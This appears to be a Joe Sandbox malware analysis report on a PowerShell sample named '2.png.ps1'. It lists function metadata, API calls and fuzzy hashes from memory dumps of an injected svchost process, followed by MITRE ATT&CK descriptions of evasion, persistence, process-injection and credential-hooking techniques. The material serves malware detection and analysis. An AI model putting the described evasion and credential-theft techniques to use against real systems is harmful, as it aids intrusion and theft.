Instruction Fuzzy Hash: 6561CD3B615B868AEB20DF65E4903ED77A0F348B8CF444226EF4A13B99DB38D494C705

Function 000001F2BD13A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F2BD13A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F2BD13A288

Strings

csm, xrefs: 000001F2BD13A2DA
csm, xrefs: 000001F2BD13A1C2

Memory Dump Source

Source File: 00000036.00000002.2651243362.000001F2BD130000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD130000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd130000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 42f93c45fd89cad511d9734f2c5f4d273df5b389de5caded62183857466b2493
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: FC519F32121283DBEF688F1594643F87BA4F355BA4F98C226DE9987BD5CB38D450C706

Function 000001F2BD16AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F2BD16ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001F2BD16AE88

Strings

csm, xrefs: 000001F2BD16AEDA
csm, xrefs: 000001F2BD16ADC2

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 302e9147bf9768ba2ee2bef3a396fc63e43c9e22c51b2e116c3aec92e75da88d
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 32519E7A1213838AEB648F2595A43FD77A0F354B88F944126EE9947BD5CB38D490C70A

Function 000001F2BD138405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F2BD138413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F2BD1384A8

Strings

csm, xrefs: 000001F2BD13848E
f, xrefs: 000001F2BD138426

Memory Dump Source

Source File: 00000036.00000002.2651243362.000001F2BD130000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD130000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd130000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 00426fe9531552b0e4d75964a3a0ab0f91fc7ff7a591905d2c639407cb9a286a
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: E251AB32721703ABEF19CB25E464BE937A5F354BA8F95C134DE0643788EB34D9418B06

Function 000001F2BD1383E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001F2BD138413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001F2BD1384A8

Strings

csm, xrefs: 000001F2BD13848E
f, xrefs: 000001F2BD138426

Memory Dump Source

Source File: 00000036.00000002.2651243362.000001F2BD130000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD130000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd130000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: ed2a8ca28b23e795c934b77dfa534d7c25e86118c1f15a27e1fe4adcd55aa0e3
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 1631B172221743A7EB19DF11E8547E97BA4F344BA8F85C034EE5A03B85DB38D941CB06

Function 000001F2BD172058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001F2BD1720D7
WriteFile.KERNEL32 ref: 000001F2BD17239F
WriteFile.KERNEL32 ref: 000001F2BD1723E5
GetLastError.KERNEL32 ref: 000001F2BD17249B

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: d9d41c282d7b2ce4aabfec58e688f1acd234d9b95e1d190f9a901a1bb8711e21
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 9AD102B2B24A8289E711CFB9D4503EC3BB1F355798F904226CE5E97BAADA34C507C341

Function 000001F2BD1614A4 Relevance: 6.3, APIs: 5, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F2BD1614C5
HeapFree.KERNEL32 ref: 000001F2BD1614D4
GetProcessHeap.KERNEL32 ref: 000001F2BD1614E1
HeapFree.KERNEL32 ref: 000001F2BD1614F0
GetProcessHeap.KERNEL32 ref: 000001F2BD161500

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction ID: d184098e54eec87762a1176ca5ed68c29c5bc5f7beb0174887d068f72f7a5b95
Opcode Fuzzy Hash: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction Fuzzy Hash: BB0148B6620A93D6E784EF66E9182EA77A0F788F81F444435EE4A4372ADF38C451C741

Function 000001F2BD172980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001F2BD172A9C
GetLastError.KERNEL32 ref: 000001F2BD172B27

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 17a65dbcd4a12060c852e93996711d64427f50b652a06d50e707f5cc3a2a7ab4
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 7A9104B2B2465389FB60DF6594A03FD3BE0F715B88F944129DE0A67AA5DB34C483C702

Function 000001F2BD167960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001F2BD16798C
GetCurrentThreadId.KERNEL32 ref: 000001F2BD16799A
GetCurrentProcessId.KERNEL32 ref: 000001F2BD1679A6
QueryPerformanceCounter.KERNEL32 ref: 000001F2BD1679B6

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 07055c1e54dafde211750482fff6b81622a8c3b3aaec0e8e3cdeaa1c6361cc99
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: C3112E76720F4289EB40CF60E8643F833A4F759758F840E31DE6D46BA4DB78D1988381

Function 000001F2BD16253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F2BD162620
StrCpyW.SHLWAPI ref: 000001F2BD162639

Strings

\\.\pipe\, xrefs: 000001F2BD16262B

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: a4e0a277eb074df162ec384e4e3874137e7a14a5b34a9f4edaae454dd5bfc79b
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: A171E33B220B8386E725DF26E8647FA6794F399B84FC40036DE0A57B89DE35C645C702

Function 000001F2BD139E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001F2BD139EB7

Strings

RCC, xrefs: 000001F2BD139E85
MOC, xrefs: 000001F2BD139E7C

Memory Dump Source

Source File: 00000036.00000002.2651243362.000001F2BD130000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD130000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd130000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: c8dcedec6ccd4897ad02a2fb678fe1d2dca9e96af2f4653199b6a42856db8300
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 93618B37A11B869BEB20CFA5D4903ED7BA0F344BA8F448225EF4917B98DB38D195C701

Function 000001F2BD162330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001F2BD162416
StrCpyW.SHLWAPI ref: 000001F2BD16242D

Strings

\\.\pipe\, xrefs: 000001F2BD162421

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 56eacd1cb70559ca7de4228d062e7ff752e37e0c1dc9b712038d02919abea6b6
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 7F51F33A22878381E774DE2AA4783FAA791F3C6784FD40135DE5903B9ADE39C545C742

Function 000001F2BD1726F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001F2BD172807
GetLastError.KERNEL32 ref: 000001F2BD172829

Strings

U, xrefs: 000001F2BD1727B3

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: ccb3a4b7a4fba413b5e65f448ec0866b918ddff2e22582deebb6145b74459c80
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: E241C272725A8282EB60CF25E8543FAB7A0F798794F904035EE4D877A8EB3CC542C741

Function 000001F2BD1694A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001F2BD1694F0
RaiseException.KERNEL32 ref: 000001F2BD169531

Strings

csm, xrefs: 000001F2BD16951E

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: cb6d49408d700bcf134649fa86f529afd346d8d8b9871fd5f6248b902500e69f
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 7C113D36224B8282EB618F15F4503A977E5F788B94F984221EE8C07769EF3CC555CB00

Function 000001F2BD137356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F2BD13737C

Strings

ierarchy Descriptor', xrefs: 000001F2BD137381
riptor at (, xrefs: 000001F2BD137364

Memory Dump Source

Source File: 00000036.00000002.2651243362.000001F2BD130000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD130000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd130000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 5bc3ceecce5efe57cbf97e380293844f6934e29d216cfd896121cf2b2cc5c499
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 37E08671650B4A91EF018F21E8502E833A1DB58B64B88D132DD5C06351FA38E1E9C701

Function 000001F2BD1373B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F2BD1373D8

Strings

riptor at (, xrefs: 000001F2BD1373C0
Locator', xrefs: 000001F2BD1373DD

Memory Dump Source

Source File: 00000036.00000002.2651243362.000001F2BD130000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD130000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd130000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: ef40c88441b9da5691ebd99e8ffceadb13e8ded624ec68b490f7d46e37aecf44
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 27E08671620B46D0EF018F21D4502E87361E758B64BC8D132DD4C06351EA38E1E5C701

Function 000001F2BD161BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F2BD161C2D
HeapAlloc.KERNEL32 ref: 000001F2BD161C3B
GetProcessHeap.KERNEL32 ref: 000001F2BD161C77
HeapFree.KERNEL32 ref: 000001F2BD161C85

Part of subcall function 000001F2BD16152C: StrCmpIW.SHLWAPI ref: 000001F2BD16155D

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 635b24736c22289d5cd47bd1db9a86048c3af2eb6c7f5d055bcc5ee3b73e71c1
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: EB116A79621B4685EB44DB66A8282F977A1FB89FD0F984038DE4D43766DF38C8829301

Function 000001F2BD161268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F2BD16126E
HeapAlloc.KERNEL32 ref: 000001F2BD16127D
GetProcessHeap.KERNEL32 ref: 000001F2BD161297
HeapAlloc.KERNEL32 ref: 000001F2BD1612A8

Memory Dump Source

Source File: 00000036.00000002.2651793391.000001F2BD160000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F2BD160000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_1f2bd160000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 444fb096a6925000a42050c1097b5c75cc31afffe4c366edf1828efbef5a8cdd
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 83E06DB562160686EB448F62D82C3EA37E1FBC9F06F84C024CD0907361DF7D8899C751

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2.png.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Change of critical system settings

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

